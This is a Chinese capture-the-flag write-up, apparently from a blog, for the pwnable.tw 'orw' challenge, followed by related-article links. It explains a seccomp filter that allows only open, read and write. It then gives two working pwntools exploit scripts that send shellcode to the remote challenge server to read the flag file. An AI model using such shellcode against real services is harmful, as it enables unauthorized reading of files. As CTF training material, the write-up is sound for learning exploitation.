Pwnable_orw
题源

题解
保护

只开启了栈保护
分析
进入ida分析 main函数如下

seccomp (Secure Computing Mode)是一种 Linux 内核安全机制,它可以 限制进程可执行的系统调用(syscall),用于减少攻击面,提高程序安全性。
使用seccomp-tools查看允许调用的函数,即orw(open,read,write)
seccomp安装方法
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools
使用方法
seccomp-tools dump ./orw
该题只允许调用open,read,write.再联系题目上的信息,flag在/home/orw/flag下,即调用open打开文件,read读取文件,write输出文件内容,接下来就是编写shellcode,使用Pwntools下的shellcraft帮助编写
exp
open(path,flag,mode) flag:只读 只写 读写 mode:新建文件的权限
read(fd,buf,count) fd:文件描述符 buf:内存缓冲区 count:读取字符数
write(fd,buf,count) 和read相同
第一种
点我一下QaQ
from pwn import *
context(os='linux', arch='i386', log_level='debug')
content = 0
if content == 1:
io = process("./orw")
else:
io = remote("chall.pwnable.tw",10001)
def main():
io.recvuntil("shellcode:")
payload = shellcraft.open('/home/orw/flag',0,0)
payload += shellcraft.read(3,'/home/orw/flag', 100)
#当一个文件被打开时,会占用0,1,2三个文件描述符,而Linux中文件描述符是增加的,所以会返回3
payload += shellcraft.write(1, '/home/orw/flag', 100)
#这里的fd = 1指标准输出到终端
io.sendline(asm(payload))
io.interactive()
if __name__ == '__main__':
main()
第二种
再点我一下 0.0
from pwn import *
context(os='linux', arch='i386', log_level='debug')
content = 0
if content == 1:
io = process("./orw")
else:
io = remote("chall.pwnable.tw",10001)
def main():
io.recvuntil("shellcode:")
payload = shellcraft.open('/home/orw/flag')
payload += shellcraft.read('eax','ebp', 100)
#open返回的文件描述符会存入eax,ebp作为缓冲区地址,存放读取的内容,即‘/home/orw/flag’
payload += shellcraft.write(1, 'ebp', 100)
io.sendline(asm(payload))
io.interactive()
if __name__ == '__main__':
main()
推荐第二种,因为在不同的系统调用中,返回的文件描述符不一定相同,但是一定都存放在eax中.
在第一种中的payload += shellcraft.read(3,'/home/orw/flag', 100)和write调用中,
'/home/orw/flag'会shellcraft作为缓冲区地址,但是Pwntools会自动处理.因此第二种更有普适性


得到flag
Pwnable_orw的更多相关文章
- [BUUCTF]PWN——pwnable_orw
pwnable_orw 附件 步骤: 例行检查,32位程序,开启了canary 本地运行一下程序,看看大概的情况,提示我们输入shellcode 32位ida载入,检索字符串,没看见什么可以直接利用的 ...
- BUU | pwnable_orw
题解网上其他师傅已经写过了而且写的很详细,菜鸡只好写一下自己做题中的笔记 Payload : #coding:utf-8 from pwn import * context(log_level = ' ...
- [BUUCTF-Pwn]刷题记录1
[BUUCTF-Pwn]刷题记录1 力争从今天(2021.3.23)开始每日至少一道吧--在这里记录一些栈相关的题目. 最近更新(2021.5.8) 如果我的解题步骤中有不正确的理解或不恰当的表述,希 ...
- BUUCTF pwn一分题目
因为以前做过一些题目,看见1分题目也不太多了,就想着,抓紧点把1分题都刷一下吧.所以开个帖子记录一下,题目简单的话就只贴exp了. [BJDCTF 2nd]secret 这里有一个输入可以进行溢出,n ...
- pwn 之 沙箱机制
0x00: 简介 沙箱机制,英文sandbox,是计算机领域的虚拟技术,常见于安全方向.一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造 ...
随机推荐
- Qt编写物联网管理平台40-类型种类
一.前言 为了增强本系统的拓展性,做成通用的物联网管理平台,特意将控制器主设备类型.探测器子设备类型.对应种类符号等信息,全部做成表格可自定义添加和修改,这样在控制器信息表和探测器信息表管理的时候,可 ...
- Qt编写安防视频监控系统36-onvif连续移动
一.前言 时隔一年多,重新对视频监控系统的onvif内核重写,一方面为了兼容Qt6,一方面按功能分类提高效率.整体逻辑思路是一样的,主要的改动是由于Qt6不再支持QtXmlPatterns模块(其实这 ...
- Qt音视频开发49-通用截图截屏
一.前言 采用了回调方式的视频通道,截图只需要对解析好的QImage对象直接保存即可,而对于句柄的形式,需要调用不同的处理策略,比如vlc需要用它自己提供的api接口函数libvlc_video_ta ...
- opencv_contrib编译:fatal error: opencv2/xfeatures2d/cuda.hpp: No such file or directory
在Ubuntu上编译opencv3.4.2源码时,遇到下面的错误,错误1:/home/src/software/opencv-3.4.2/modules/stitching/include/openc ...
- 零基础IM开发入门(四):什么是IM系统的消息时序一致性?
本文引用了沈剑<如何保证IM实时消息的"时序性"与"一致性"?>一文的图片和内容(由于太懒,图没重新画),原文链接在文末. 1.引言 本文接上篇&l ...
- OpenMMLab AI实战营 第一课笔记
OpenMMLab AI实战营 第一课笔记 OpenMMLab AI实战营第一节课由子豪兄讲解,课程主要内容主要围绕计算机视觉和OpenMMLab开源算法体系以及机器学习和神经网络简介进行展开.这里要 ...
- mac zshrc环境变量配置
配置mac zshrc的环境变量时犯了一个错误,我配置了多个export PATH, 结果只有一个PATH生效了,所以配置多个PATH是错误的: zshrc中环境变量配置如下: export AN ...
- zsh 切换root用户后,命令执行后要卡顿2s左右
在 oh-my-zsh 进入 包含 git 仓库目录时,会变的比平时慢/卡顿 原因是因为 oh-my-zsh 要**获取 git 更新信息 ** **解决办法: ** 设置 oh-my-zsh 不读取 ...
- Flutter的一些概念(二)
注:本文同步发布于微信公众号:stringwu的互联网杂谈 Flutter的一些概念(二) 1 flutter的核心渲染模块 当应用启动时flutter 会遍历所有的Widget 形成Widget 树 ...
- w3cschool-HBase官方文档-1配置
https://www.w3cschool.cn/hbase_doc/ HBase 概述 HBase是Apache的Hadoop项目的子项目,是Hadoop Database的简称. HBase是一个 ...
